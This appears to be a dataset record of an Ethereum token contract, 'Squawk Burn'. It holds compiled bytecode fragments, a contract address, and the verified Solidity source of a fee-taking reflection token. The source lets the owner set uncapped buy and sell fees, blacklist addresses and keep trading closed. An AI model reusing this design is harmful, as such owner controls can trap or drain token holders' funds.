b611899565b50505050565b600080600061169e6118a7565b90925090506116ad8282611624565b9250505090565b6000826116c357506000610661565b828202828482816116d057fe5b041461153c5760405162461bcd60e51b8152600401808060200182810382526021815260200180611b886021913960400191505060405180910390fd5b6000818361175c5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156112d25781810151838201526020016112ba565b50600083858161176857fe5b0495945050505050565b6007541580156117825750600854155b1561178c576117a2565b6007805460095560088054600a55600091829055555b565b6000806000806000806117b6876118ec565b6001600160a01b038f16600090815260016020526040902054959b509399509197509550935091506117e89087611949565b6001600160a01b03808b1660009081526001602052604080822093909355908a1681522054611817908661198b565b6001600160a01b038916600090815260016020526040902055611839816119e5565b6118438483611a2f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600954600755600a54600855565b6005546000908190683635c9adc5dea000006118c38282611624565b8210156118e257600554683635c9adc5dea000009350935050506118e8565b90925090505b9091565b60008060008060008060008060006119098a600754600854611a53565b9250925092506000611919611691565b9050600080600061192c8e878787611aa2565b919e509c509a509598509396509194505050505091939550919395565b600061153c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127e565b60008282018381101561153c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60006119ef611691565b905060006119fd83836116b4565b30600090815260016020526040902054909150611a1a908261198b565b30600090815260016020526040902055505050565b600554611a3c9083611949565b600555600654611a4c908261198b565b6006555050565b6000808080611a67606461117789896116b4565b90506000611a7a60646111778a896116b4565b90506000611a9282611a8c8b86611949565b90611949565b9992985090965090945050505050565b6000808080611ab188866116b4565b90506000611abf88876116b4565b90506000611acd88886116b4565b90506000611adf82611a8c8686611949565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122050648dbfd4ab02c0ee5c5e8dc3093114a6244ab445307c66385c4dba696ddcb264736f6c634300060c0033
[ 21, 4, 11, 13, 5 ]
0xf249a592f09aa6df18ee921f247c1933f089f6a2
/** *Submitted for verification at Etherscan.io on 2022-01-17 */ /** * Squawk Burn / https://t.me/squawkburnportal / We burn Squawk / 5% Buy 5% sell / Max Wallet 1% (For Now) / Renounce at 250k / */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SquawkBurn is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "Squawk Burn";////////////////////////// string private constant _symbol = "$SquawkBurn";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 0;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 5;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 0;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 5;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xC5Af36cD1dE152bB5Fae79a60c522325aF7fa07f);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0xC5Af36cD1dE152bB5Fae79a60c522325aF7fa07f);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 100000 * 10**9; //1% uint256 public _swapTokensAtAmount = 100000 * 10**9; //1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; bots[address(0x66f049111958809841Bbe4b81c034Da2D953AA0c)] = true; bots[address(0x000000005736775Feb0C8568e7DEe77222a26880)] = true; bots[address(0x34822A742BDE3beF13acabF14244869841f06A73)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x69611A66d0CF67e5Ddd1957e6499b5C5A3E44845)] = true; bots[address(0x8484eFcBDa76955463aa12e1d504D7C6C89321F8)] = true; bots[address(0xe5265ce4D0a3B191431e1bac056d72b2b9F0Fe44)] = true; bots[address(0x33F9Da98C57674B5FC5AE7349E3C732Cf2E6Ce5C)] = true; bots[address(0xc59a8E2d2c476BA9122aa4eC19B4c5E2BBAbbC28)] = true; bots[address(0x21053Ff2D9Fc37D4DB8687d48bD0b57581c1333D)] = true; bots[address(0x4dd6A0D3191A41522B84BC6b65d17f6f5e6a4192)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600b81526020017f53717561776b204275726e000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600b81526020017f2453717561776b4275726e000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff